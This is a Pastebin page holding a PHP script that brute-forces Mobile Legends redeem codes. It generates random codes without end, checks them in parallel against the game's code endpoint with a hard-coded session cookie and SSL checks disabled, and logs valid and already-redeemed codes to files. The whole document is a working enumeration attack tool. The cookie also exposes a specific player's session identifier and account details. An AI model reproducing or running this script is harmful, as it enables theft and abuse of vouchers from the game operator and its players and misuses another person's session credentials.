Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- class BmarketPPchecker
- {
- function __construct($argv)
- {
- $this->argv = $argv;
- $this->run();
- }
- function checked($urls){
- $live = 0;
- $valid = false;
- $ch = array();
- $mh = curl_multi_init();
- $total = count($urls);
- for ($i = 0; $i < $total; $i++) {
- $ch[$i] = curl_init();
- $hand[$ch[$i]] = $urls[$i];
- curl_setopt($ch[$i], CURLOPT_URL, 'https://www.mobilelegends.com/user/code?gameid=35826522&cdkey='.$urls[$i]);
- curl_setopt($ch[$i], CURLOPT_HEADER, 0);
- curl_setopt($ch[$i], CURLOPT_TIMEOUT, 10);
- curl_setopt($ch[$i], CURLOPT_CONNECTTIMEOUT , 0);
- curl_setopt($ch[$i], CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch[$i], CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch[$i], CURLOPT_COOKIEJAR, 'cookijem.txt');
- curl_setopt($ch[$i], CURLOPT_COOKIEFILE, 'cookijem.txt');
- curl_setopt($ch[$i], CURLOPT_HTTPHEADER, array(
- "accept:application/json, text/javascript, */*; q=0.01",
- "cookie:7edb74fb0da11ad0e30afa0416d89014=6efdd9ec72a02b85174d386f3758ec9af5a95a72s%3A1131%3A%221d0e100e688ffe5b2ef033130f4975f75eacb3eea%3A4%3A%7Bi%3A0%3Bi%3A13819933%3Bi%3A1%3Bs%3A15%3A%22%5BKuro%E2%84%A2%5D+kacit%22%3Bi%3A2%3Bi%3A86400%3Bi%3A3%3Ba%3A15%3A%7Bs%3A2%3A%22id%22%3Bi%3A13819933%3Bs%3A4%3A%22name%22%3Bs%3A15%3A%22%5BKuro%E2%84%A2%5D+kacit%22%3Bs%3A7%3A%22country%22%3Bs%3A10%3A%22gj_041.png%22%3Bs%3A3%3A%22win%22%3Bs%3A6%3A%2252.86%25%22%3Bs%3A6%3A%22avatar%22%3BN%3Bs%3A8%3A%22position%22%3BN%3Bs%3A8%3A%22facebook%22%3BN%3Bs%3A7%3A%22youtube%22%3BN%3Bs%3A6%3A%22stream%22%3BN%3Bs%3A11%3A%22invite_code%22%3BN%3Bs%3A11%3A%22from_userid%22%3BN%3Bs%3A13%3A%22validate_code%22%3Bs%3A6%3A%22769799%22%3Bs%3A18%3A%22validate_create_at%22%3Bi%3A1511296960%3Bs%3A6%3A%22detail%22%3Ba%3A11%3A%7Bs%3A4%3A%22code%22%3Bi%3A0%3Bs%3A4%3A%22name%22%3Bs%3A15%3A%22%5BKuro%E2%84%A2%5D+kacit%22%3Bs%3A7%3A%22country%22%3Bs%3A10%3A%22gj_041.png%22%3Bs%3A4%3A%22icon%22%3Bs%3A59%3A%22http%3A%2F%2Fimg-origin.ml.moonlian.com%2F2014%2F33%2F99%2F13819933_4.jpg%22%3Bs%3A4%3A%22rank%22%3Bs%3A10%3A%22Rank04.png%22%3Bs%3A9%3A%22ranklevel%22%3Bs%3A11%3A%22Level01.png%22%3Bs%3A4%3A%22star%22%3Bi%3A4%3Bs%3A9%3A%22startotal%22%3Bi%3A61%3Bs%3A6%3A%22winnum%22%3Bi%3A657%3Bs%3A3%3A%22win%22%3Bs%3A6%3A%2252.86%25%22%3Bs%3A4%3A%22hero%22%3Ba%3A4%3A%7Bi%3A0%3Ba%3A3%3A%7Bs%3A6%3A%22heroid%22%3Bs%3A15%3A%22HeroHead016.png%22%3Bs%3A6%3A%22btnums%22%3Bi%3A372%3Bs%3A3%3A%22win%22%3Bs%3A6%3A%2256.99%25%22%3B%7Di%3A1%3Ba%3A3%3A%7Bs%3A6%3A%22heroid%22%3Bs%3A15%3A%22HeroHead027.png%22%3Bs%3A6%3A%22btnums%22%3Bi%3A326%3Bs%3A3%3A%22win%22%3Bs%3A6%3A%2251.53%25%22%3B%7Di%3A2%3Ba%3A3%3A%7Bs%3A6%3A%22heroid%22%3Bs%3A15%3A%22HeroHead022.png%22%3Bs%3A6%3A%22btnums%22%3Bi%3A84%3Bs%3A3%3A%22win%22%3Bs%3A3%3A%2250%25%22%3B%7Di%3A3%3Ba%3A3%3A%7Bs%3A6%3A%22heroid%22%3Bs%3A15%3A%22HeroHead033.png%22%3Bs%3A6%3A%22btnums%22%3Bi%3A54%3Bs%3A3%3A%22win%22%3Bs%3A5%3A%2246.3%25%22%3B%7D%7D%7Ds%3A11%3A%22last_update%22%3Bi%3A1511297124%3B%7D%7D%22%3B; PHPSESSID=60ij58akvpfcu700kraeeke951; _ga=GA1.2.1884166423.1511296351; _gid=GA1.2.465712040.1511296351; _gat=1",
- "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36",
- "x-requested-with: XMLHttpRequest"
- ));
- curl_setopt($ch[$i], CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch[$i], CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch[$i], CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36");
- curl_multi_add_handle($mh, $ch[$i]);
- }
- $active = null;
- do {
- $mrc = curl_multi_exec($mh, $active);
- while($info = curl_multi_info_read($mh))
- {
- $email = $hand[$info['handle']];
- $result = curl_multi_getcontent($info['handle']);
- $jsonku = json_decode($result,true);
- if($jsonku['message'] != 'The code does not exist.' && !empty($jsonku['message']) ){
- $f = fopen("save-vivo.txt", "a+");
- fwrite($f, $email." | ".$jsonku['message']."\r\n");
- fclose($f);
- }
- if($jsonku['message'] == 'The code has been redeemed.' && !empty($jsonku['message']) ){
- $f = fopen("sudah-dipake-vivo.txt", "a+");
- fwrite($f, $email." | ".$jsonku['message']."\r\n");
- fclose($f);
- }
- echo $email." | ".$jsonku['message']."\r\n";
- curl_multi_remove_handle($mh, $info['handle']);
- }
- usleep(100);
- } while ($active);
- curl_multi_close($mh);
- }
- function generateRandomString($length = 10) {
- $characters = 'abcdefghijklmnopqrstuvwxyz';
- $charactersLength = strlen($characters);
- $randomString = '';
- for ($i = 0; $i < $length; $i++) {
- $randomString .= $characters[rand(0, $charactersLength - 1)];
- }
- return $randomString;
- }
- function token(){
- $xcode = $this->generateRandomString(3);
- return rand(100,999).$xcode.rand(100,999);
- }
- function tokens(){
- $xcode = $this->generateRandomString(3);
- return rand(100,999).$xcode.'037';
- }
- function run(){
- $url = array();
- $hit = 10;
- $count = 0;
- while (TRUE) {
- $url[] = $this->token();
- $url[] = $this->tokens();
- if($hit == $count){
- $this->checked($url);
- $count = 0;
- unset($url);
- }
- $count++;
- }
- }
- }
- $magento = new BmarketPPchecker($argv);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement